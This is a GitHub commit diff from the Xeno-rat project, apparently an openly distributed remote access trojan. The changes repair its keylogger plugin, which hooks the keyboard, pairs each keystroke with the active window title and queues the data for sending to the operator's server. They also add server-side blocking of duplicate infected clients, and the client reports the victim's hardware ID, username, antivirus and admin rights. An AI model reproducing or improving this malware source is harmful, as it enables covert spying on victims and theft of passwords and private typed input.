Skip to content

Commit

Permalink
fixed the keylogger issue (idk how i missed that), also added double …
Browse files Browse the repository at this point in the history
…client blocking in the server
  • Loading branch information
moom825 committed Feb 14, 2024
1 parent e823386 commit 4c20453
Show file tree
Hide file tree
Showing 4 changed files with 52 additions and 15 deletions.
20 changes: 15 additions & 5 deletions Plugins/KeyLogger/keyLogger.cs
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Windows.Forms.VisualStyles;
using xeno_rat_client;


Expand All @@ -33,6 +34,8 @@ public class Main
Node node;


List<string[]> SendQueue = new List<string[]>();

public async Task Run(Node node)
{
await node.SendAsync(new byte[] { 3 });//indicate that it has connected
Expand All @@ -50,8 +53,13 @@ public async Task Run(Node node)
}).Start();
while (node.Connected())
{
Application.DoEvents();
await Task.Delay(1);
if (SendQueue.Count > 0)
{
if (SendQueue[0].Length != 2) continue;
await sendKeyData(SendQueue[0][0], SendQueue[0][1]);
SendQueue.RemoveAt(0);
}
await Task.Delay(10);
}
if (hookHandle != IntPtr.Zero)
{
Expand All @@ -60,9 +68,9 @@ public async Task Run(Node node)

}

public async Task sendKeyData(string charectar)
public async Task sendKeyData(string open_application, string charectar)
{
string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", "");

if (node == null || !node.Connected()) return;
await node.SendAsync(Encoding.UTF8.GetBytes(open_application));
await node.SendAsync(Encoding.UTF8.GetBytes(charectar));
Expand All @@ -79,7 +87,9 @@ public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
character= character.ToUpper();
}
sendKeyData(character);
string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", "");
string[] sendData = new string[] { open_application, character };
SendQueue.Add(sendData);
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
Expand Down
3 changes: 1 addition & 2 deletions Plugins/KeyLoggerOffline/KeyLoggerOffline.cs
Original file line number Diff line number Diff line change
Expand Up @@ -101,8 +101,7 @@ public async Task Run(Node node)// get server side intergation (I mean like xeno
{
while (!FULLSTOP)
{
Application.DoEvents();
await Task.Delay(1);
await Task.Delay(1000);
}
}

Expand Down
2 changes: 1 addition & 1 deletion xeno rat client/Handler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ private async Task GetAndSendInfo(Node Type0)
return;
}
//get hwid, username etc. seperated by null
string clientversion = "1.8.0";//find a way to get the client version.
string clientversion = "1.8.5";//find a way to get the client version.
string[] info = new string[] { Utils.HWID(), Environment.UserName, WindowsIdentity.GetCurrent().Name, clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() };
byte[] data = new byte[0];
byte[] nullbyte = new byte[] { 0 };
Expand Down
42 changes: 35 additions & 7 deletions xeno rat server/MainForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,7 @@ public MainForm()
{

InitializeComponent();
this.Text = "Xeno-rat: Created by moom825 - version 1.8.0";
this.Text = "Xeno-rat: Created by moom825 - version 1.8.5";
key = Utils.CalculateSha256Bytes(string_key);

ListeningHandler =new Listener(OnConnect);
Expand Down Expand Up @@ -153,7 +153,25 @@ private async Task OnConnect(Socket socket)
return;
}

//currentCount++;
List<ListViewItem> possibleDuplicates = GetClientsByHwid(clientdata.Text);
List<string[]> duplicates = new List<string[]>();
foreach (ListViewItem i in possibleDuplicates)
{
string[] match = new string[] { i.SubItems[2].Text, i.SubItems[7].Text };
duplicates.Add(match);
}

if (duplicates.Count > 0 && duplicates.Contains(new string[] { clientdata.SubItems[2].Text, clientdata.SubItems[7].Text }))
{
client.Disconnect();
return;
}

listView2.Invoke((MethodInvoker)(() =>//add the clientdata to the listview
{
clientdata = listView2.Items.Add(clientdata);
}));

Node HeartSock=await client.CreateSubNodeAsync(1);//create HeartBeat Node
if (HeartSock == null)
{
Expand All @@ -175,6 +193,19 @@ private async Task OnConnect(Socket socket)
}
}

private List<ListViewItem> GetClientsByHwid(string hwid)
{
List<ListViewItem> results = new List<ListViewItem>();
foreach (ListViewItem cliView in listView2.Items)
{
if (cliView.Text == hwid)
{
results.Add(cliView);
}
}
return results;
}

private async Task CompleteOnConnectTasks(Node client)
{
foreach (string i in OnConnectTasks)
Expand Down Expand Up @@ -387,11 +418,8 @@ private async Task<ListViewItem> GetAddInfo(Node type0node)
lvi.SubItems.Add("");
lvi.SubItems.Add("0");
lvi.SubItems.Add("0");
listView2.Invoke((MethodInvoker)(() =>
{
item=listView2.Items.Add(lvi);
}));
return item;

return lvi;
}

private void OnDisconnect(Node client)
Expand Down

0 comments on commit 4c20453

Please sign in to comment.